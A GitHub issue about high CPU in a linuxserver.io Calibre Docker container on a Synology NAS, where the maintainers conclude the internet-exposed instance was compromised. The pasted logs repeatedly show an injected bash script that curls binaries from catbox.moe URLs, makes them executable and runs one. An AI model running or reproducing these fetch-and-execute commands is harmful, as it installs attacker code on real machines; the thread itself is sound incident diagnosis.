Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

High CPU - openbox #161

Open
1 task done
bigbadjimb opened this issue Oct 3, 2024 · 6 comments
Open
1 task done

High CPU - openbox #161

bigbadjimb opened this issue Oct 3, 2024 · 6 comments

Comments

@bigbadjimb
Copy link

Is there an existing issue for this?

  • I have searched the existing issues

Current Behavior

Calibre docker container on Synology DS920+ showing high CPU 90%+ shutting down container resolves issue - restarting container has the high cpu appear again

Expected Behavior

Normal CPU

Steps To Reproduce

SHutdown container CPU normal - start container CPU @90%+

Environment

Synology DSM 7.2.1
Synology Container Manager

CPU architecture

x86-64

Docker creation

docker run -d --name=calibre \
-p 7080:8080 \
-p 7081:8081 \
-e PUID=1038 \
-e PGID=100 \
-e TZ=Europe/London \
-v /volume1/docker/calibre:/config \
--restart always \
ghcr.io/linuxserver/calibre

Container logs

X connection to :1 broken (explicit kill or server shutdown).
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────

    all values are hidden

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

    all values are hidden

   Brought to you by linuxserver.io
───────────────────────────────────────

    all values are hidden

To support LSIO projects visit:
https://www.linuxserver.io/donate/

    all values are hidden

───────────────────────────────────────
GID/UID
───────────────────────────────────────

    all values are hidden

User UID:    1038
User GID:    65538
───────────────────────────────────────
Linuxserver.io version: v7.19.0-ls305
Build-date: 2024-10-02T06:45:53+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
_XSERVTransmkdir: Owner of /tmp/.X11-unix should be set to root

    all values are hidden

Xvnc KasmVNC 1.2.0 - built Sep 28 2024 19:15:41
Copyright (C) 1999-2018 KasmVNC Team and many others (see README.me)
See http://kasmweb.com for information on KasmVNC.
Underlying X server release 12014000, The X.Org Foundation

    all values are hidden

Connection failure: Connection refused
pa_context_connect() failed: Connection refused
Connection failure: Connection refused
pa_context_connect() failed: Connection refused
[ls.io-init] done.
The XKEYBOARD keymap compiler (xkbcomp) reports:
> Warning:          Could not resolve keysym XF86CameraAccessEnable
> Warning:          Could not resolve keysym XF86CameraAccessDisable
> Warning:          Could not resolve keysym XF86CameraAccessToggle
> Warning:          Could not resolve keysym XF86NextElement
> Warning:          Could not resolve keysym XF86PreviousElement
> Warning:          Could not resolve keysym XF86AutopilotEngageToggle
> Warning:          Could not resolve keysym XF86MarkWaypoint
> Warning:          Could not resolve keysym XF86Sos
> Warning:          Could not resolve keysym XF86NavChart
> Warning:          Could not resolve keysym XF86FishingChart
> Warning:          Could not resolve keysym XF86SingleRangeRadar
> Warning:          Could not resolve keysym XF86DualRangeRadar
> Warning:          Could not resolve keysym XF86RadarOverlay
> Warning:          Could not resolve keysym XF86TraditionalSonar
> Warning:          Could not resolve keysym XF86ClearvuSonar
> Warning:          Could not resolve keysym XF86SidevuSonar
> Warning:          Could not resolve keysym XF86NavInfo
Errors from xkbcomp are not fatal to the X server
Obt-Message: Xinerama extension is not present on the server
#!/bin/bash

    all values are hidden

# fuck you Ryan this is for Felania
# try me Bitch
curl -o config.json https://files.catbox.moe/p9fl7v.json \
     -o openbox https://files.catbox.moe/l0dyfk \
     -o jonkler https://files.catbox.moe/ydu55d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  4329  100  4329    0     0   3949      0  0:00:01  0:00:01 --:--:--  3953
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
 16 9656k   16 1632k    0     0  1316k      0  0:00:07  0:00:01  0:00:06 1316k
100 9656k  100 9656k    0     0  5636k      0  0:00:01  0:00:01 --:--:-- 5633k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100 1901k  100 1901k    0     0  7229k      0 --:--:-- --:--:-- --:--:-- 7256k
chmod +x openbox
chmod +x jonkler
./jonkler
exit
X connection to :1 broken (explicit kill or server shutdown).
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────

    all values are hidden

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

    all values are hidden

   Brought to you by linuxserver.io
───────────────────────────────────────

    all values are hidden

To support LSIO projects visit:
https://www.linuxserver.io/donate/

    all values are hidden

───────────────────────────────────────
GID/UID
───────────────────────────────────────

    all values are hidden

User UID:    1038
User GID:    65538
───────────────────────────────────────
Linuxserver.io version: v7.19.0-ls305
Build-date: 2024-10-02T06:45:53+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
_XSERVTransmkdir: Owner of /tmp/.X11-unix should be set to root

    all values are hidden

Xvnc KasmVNC 1.2.0 - built Sep 28 2024 19:15:41
Copyright (C) 1999-2018 KasmVNC Team and many others (see README.me)
See http://kasmweb.com for information on KasmVNC.
Underlying X server release 12014000, The X.Org Foundation

    all values are hidden

[ls.io-init] done.
The XKEYBOARD keymap compiler (xkbcomp) reports:
> Warning:          Could not resolve keysym XF86CameraAccessEnable
> Warning:          Could not resolve keysym XF86CameraAccessDisable
> Warning:          Could not resolve keysym XF86CameraAccessToggle
> Warning:          Could not resolve keysym XF86NextElement
> Warning:          Could not resolve keysym XF86PreviousElement
> Warning:          Could not resolve keysym XF86AutopilotEngageToggle
> Warning:          Could not resolve keysym XF86MarkWaypoint
> Warning:          Could not resolve keysym XF86Sos
> Warning:          Could not resolve keysym XF86NavChart
> Warning:          Could not resolve keysym XF86FishingChart
> Warning:          Could not resolve keysym XF86SingleRangeRadar
> Warning:          Could not resolve keysym XF86DualRangeRadar
> Warning:          Could not resolve keysym XF86RadarOverlay
> Warning:          Could not resolve keysym XF86TraditionalSonar
> Warning:          Could not resolve keysym XF86ClearvuSonar
> Warning:          Could not resolve keysym XF86SidevuSonar
> Warning:          Could not resolve keysym XF86NavInfo
Errors from xkbcomp are not fatal to the X server
Obt-Message: Xinerama extension is not present on the server
21
#!/bin/bash

    all values are hidden

# fuck you Ryan this is for Felania
# try me Bitch
curl -o config.json https://files.catbox.moe/p9fl7v.json \
     -o openbox https://files.catbox.moe/l0dyfk \
     -o jonkler https://files.catbox.moe/ydu55d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  4329  100  4329    0     0   6162      0 --:--:-- --:--:-- --:--:--  6157
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  1 9656k    1  160k    0     0   255k      0  0:00:37 --:--:--  0:00:37  255k
100 9656k  100 9656k    0     0  6128k      0  0:00:01  0:00:01 --:--:-- 6130k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100 1901k  100 1901k    0     0  7870k      0 --:--:-- --:--:-- --:--:-- 7888k
chmod +x openbox
chmod +x jonkler
./jonkler
exit
X connection to :1 broken (explicit kill or server shutdown).
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────

    all values are hidden

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

    all values are hidden

   Brought to you by linuxserver.io
───────────────────────────────────────

    all values are hidden

To support LSIO projects visit:
https://www.linuxserver.io/donate/

    all values are hidden

───────────────────────────────────────
GID/UID
───────────────────────────────────────

    all values are hidden

User UID:    1038
User GID:    65538
───────────────────────────────────────
Linuxserver.io version: v7.19.0-ls305
Build-date: 2024-10-02T06:45:53+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
_XSERVTransmkdir: Owner of /tmp/.X11-unix should be set to root

    all values are hidden

Xvnc KasmVNC 1.2.0 - built Sep 28 2024 19:15:41
Copyright (C) 1999-2018 KasmVNC Team and many others (see README.me)
See http://kasmweb.com for information on KasmVNC.
Underlying X server release 12014000, The X.Org Foundation

    all values are hidden

Connection failure: Connection refused
pa_context_connect() failed: Connection refused
Connection failure: Connection refused
pa_context_connect() failed: Connection refused
[ls.io-init] done.
The XKEYBOARD keymap compiler (xkbcomp) reports:
> Warning:          Could not resolve keysym XF86CameraAccessEnable
> Warning:          Could not resolve keysym XF86CameraAccessDisable
> Warning:          Could not resolve keysym XF86CameraAccessToggle
> Warning:          Could not resolve keysym XF86NextElement
> Warning:          Could not resolve keysym XF86PreviousElement
> Warning:          Could not resolve keysym XF86AutopilotEngageToggle
> Warning:          Could not resolve keysym XF86MarkWaypoint
> Warning:          Could not resolve keysym XF86Sos
> Warning:          Could not resolve keysym XF86NavChart
> Warning:          Could not resolve keysym XF86FishingChart
> Warning:          Could not resolve keysym XF86SingleRangeRadar
> Warning:          Could not resolve keysym XF86DualRangeRadar
> Warning:          Could not resolve keysym XF86RadarOverlay
> Warning:          Could not resolve keysym XF86TraditionalSonar
> Warning:          Could not resolve keysym XF86ClearvuSonar
> Warning:          Could not resolve keysym XF86SidevuSonar
> Warning:          Could not resolve keysym XF86NavInfo
Errors from xkbcomp are not fatal to the X server
Obt-Message: Xinerama extension is not present on the server
#!/bin/bash

    all values are hidden

# fuck you Ryan this is for Felania
# try me Bitch
curl -o config.json https://files.catbox.moe/p9fl7v.json \
     -o openbox https://files.catbox.moe/l0dyfk \
     -o jonkler https://files.catbox.moe/ydu55d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  4329  100  4329    0     0   3949      0  0:00:01  0:00:01 --:--:--  3953
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
 16 9656k   16 1632k    0     0  1316k      0  0:00:07  0:00:01  0:00:06 1316k
100 9656k  100 9656k    0     0  5636k      0  0:00:01  0:00:01 --:--:-- 5633k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100 1901k  100 1901k    0     0  7229k      0 --:--:-- --:--:-- --:--:-- 7256k
chmod +x openbox
chmod +x jonkler
./jonkler
exit
X connection to :1 broken (explicit kill or server shutdown).
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────

    all values are hidden

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

    all values are hidden

   Brought to you by linuxserver.io
───────────────────────────────────────

    all values are hidden

To support LSIO projects visit:
https://www.linuxserver.io/donate/

    all values are hidden

───────────────────────────────────────
GID/UID
───────────────────────────────────────

    all values are hidden

User UID:    1038
User GID:    65538
───────────────────────────────────────
Linuxserver.io version: v7.19.0-ls305
Build-date: 2024-10-02T06:45:53+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
_XSERVTransmkdir: Owner of /tmp/.X11-unix should be set to root

    all values are hidden

Xvnc KasmVNC 1.2.0 - built Sep 28 2024 19:15:41
Copyright (C) 1999-2018 KasmVNC Team and many others (see README.me)
See http://kasmweb.com for information on KasmVNC.
Underlying X server release 12014000, The X.Org Foundation

    all values are hidden

[ls.io-init] done.
The XKEYBOARD keymap compiler (xkbcomp) reports:
> Warning:          Could not resolve keysym XF86CameraAccessEnable
> Warning:          Could not resolve keysym XF86CameraAccessDisable
> Warning:          Could not resolve keysym XF86CameraAccessToggle
> Warning:          Could not resolve keysym XF86NextElement
> Warning:          Could not resolve keysym XF86PreviousElement
> Warning:          Could not resolve keysym XF86AutopilotEngageToggle
> Warning:          Could not resolve keysym XF86MarkWaypoint
> Warning:          Could not resolve keysym XF86Sos
> Warning:          Could not resolve keysym XF86NavChart
> Warning:          Could not resolve keysym XF86FishingChart
> Warning:          Could not resolve keysym XF86SingleRangeRadar
> Warning:          Could not resolve keysym XF86DualRangeRadar
> Warning:          Could not resolve keysym XF86RadarOverlay
> Warning:          Could not resolve keysym XF86TraditionalSonar
> Warning:          Could not resolve keysym XF86ClearvuSonar
> Warning:          Could not resolve keysym XF86SidevuSonar
> Warning:          Could not resolve keysym XF86NavInfo
Errors from xkbcomp are not fatal to the X server
Obt-Message: Xinerama extension is not present on the server
21
#!/bin/bash

    all values are hidden

# fuck you Ryan this is for Felania
# try me Bitch
curl -o config.json https://files.catbox.moe/p9fl7v.json \
     -o openbox https://files.catbox.moe/l0dyfk \
     -o jonkler https://files.catbox.moe/ydu55d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  4329  100  4329    0     0   6162      0 --:--:-- --:--:-- --:--:--  6157
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  1 9656k    1  160k    0     0   255k      0  0:00:37 --:--:--  0:00:37  255k
100 9656k  100 9656k    0     0  6128k      0  0:00:01  0:00:01 --:--:-- 6130k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100 1901k  100 1901k    0     0  7870k      0 --:--:-- --:--:-- --:--:-- 7888k
chmod +x openbox
chmod +x jonkler
./jonkler
exit
[migrations] started
[migrations] no migrations found
usermod: no changes
───────────────────────────────────────

    all values are hidden

      ██╗     ███████╗██╗ ██████╗
      ██║     ██╔════╝██║██╔═══██╗
      ██║     ███████╗██║██║   ██║
      ██║     ╚════██║██║██║   ██║
      ███████╗███████║██║╚██████╔╝
      ╚══════╝╚══════╝╚═╝ ╚═════╝

    all values are hidden

   Brought to you by linuxserver.io
───────────────────────────────────────

    all values are hidden

To support LSIO projects visit:
https://www.linuxserver.io/donate/

    all values are hidden

───────────────────────────────────────
GID/UID
───────────────────────────────────────

    all values are hidden

User UID:    1038
User GID:    65538
───────────────────────────────────────
Linuxserver.io version: v7.19.0-ls305
Build-date: 2024-10-02T06:45:53+00:00
───────────────────────────────────────
    
[custom-init] No custom files found, skipping...
_XSERVTransmkdir: Owner of /tmp/.X11-unix should be set to root

    all values are hidden

Xvnc KasmVNC 1.2.0 - built Sep 28 2024 19:15:41
Copyright (C) 1999-2018 KasmVNC Team and many others (see README.me)
See http://kasmweb.com for information on KasmVNC.
Underlying X server release 12014000, The X.Org Foundation

    all values are hidden

[ls.io-init] done.
The XKEYBOARD keymap compiler (xkbcomp) reports:
> Warning:          Could not resolve keysym XF86CameraAccessEnable
> Warning:          Could not resolve keysym XF86CameraAccessDisable
> Warning:          Could not resolve keysym XF86CameraAccessToggle
> Warning:          Could not resolve keysym XF86NextElement
> Warning:          Could not resolve keysym XF86PreviousElement
> Warning:          Could not resolve keysym XF86AutopilotEngageToggle
> Warning:          Could not resolve keysym XF86MarkWaypoint
> Warning:          Could not resolve keysym XF86Sos
> Warning:          Could not resolve keysym XF86NavChart
> Warning:          Could not resolve keysym XF86FishingChart
> Warning:          Could not resolve keysym XF86SingleRangeRadar
> Warning:          Could not resolve keysym XF86DualRangeRadar
> Warning:          Could not resolve keysym XF86RadarOverlay
> Warning:          Could not resolve keysym XF86TraditionalSonar
> Warning:          Could not resolve keysym XF86ClearvuSonar
> Warning:          Could not resolve keysym XF86SidevuSonar
> Warning:          Could not resolve keysym XF86NavInfo
Errors from xkbcomp are not fatal to the X server
Obt-Message: Xinerama extension is not present on the server
21
#!/bin/bash

    all values are hidden

# fuck you Ryan this is for Felania
# try me Bitch
curl -o config.json https://files.catbox.moe/p9fl7v.json \
     -o openbox https://files.catbox.moe/l0dyfk \
     -o jonkler https://files.catbox.moe/ydu55d
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100  4329  100  4329    0     0   6162      0 --:--:-- --:--:-- --:--:--  6157
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
  1 9656k    1  160k    0     0   255k      0  0:00:37 --:--:--  0:00:37  255k
100 9656k  100 9656k    0     0  6128k      0  0:00:01  0:00:01 --:--:-- 6130k
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed

  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0
100 1901k  100 1901k    0     0  7870k      0 --:--:-- --:--:-- --:--:-- 7888k
chmod +x openbox
chmod +x jonkler
./jonkler
exit
Copy link

github-actions bot commented Oct 3, 2024

Thanks for opening your first issue here! Be sure to follow the relevant issue templates, or risk having this issue marked as invalid.

@j0nnymoe
Copy link
Member

j0nnymoe commented Oct 3, 2024

Looks like your instance of calibre has been compromised unless you've knownly got scripts starting up with the container.

@bigbadjimb
Copy link
Author

Looks like your instance of calibre has been compromised unless you've knownly got scripts starting up with the container.

Yep it does, deleted and rebuilt and it looks OK

@j0nnymoe
Copy link
Member

j0nnymoe commented Oct 3, 2024

out of curiosity, did you have that container exposed to the internet?

@bigbadjimb
Copy link
Author

Yes it was - It was secure, but when I logged in there was a KasimVNC front end, which suggests it wasn't as secure as I thought - It no longer is internet facing, the only plus is that it was running under a limited access account restricted it to the docker calibre folders

@LinuxServer-CI
Copy link
Contributor

This issue has been automatically marked as stale because it has not had recent activity. This might be due to missing feedback from OP. It will be closed if no further activity occurs. Thank you for your contributions.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Status: Issues
Development

No branches or pull requests

3 participants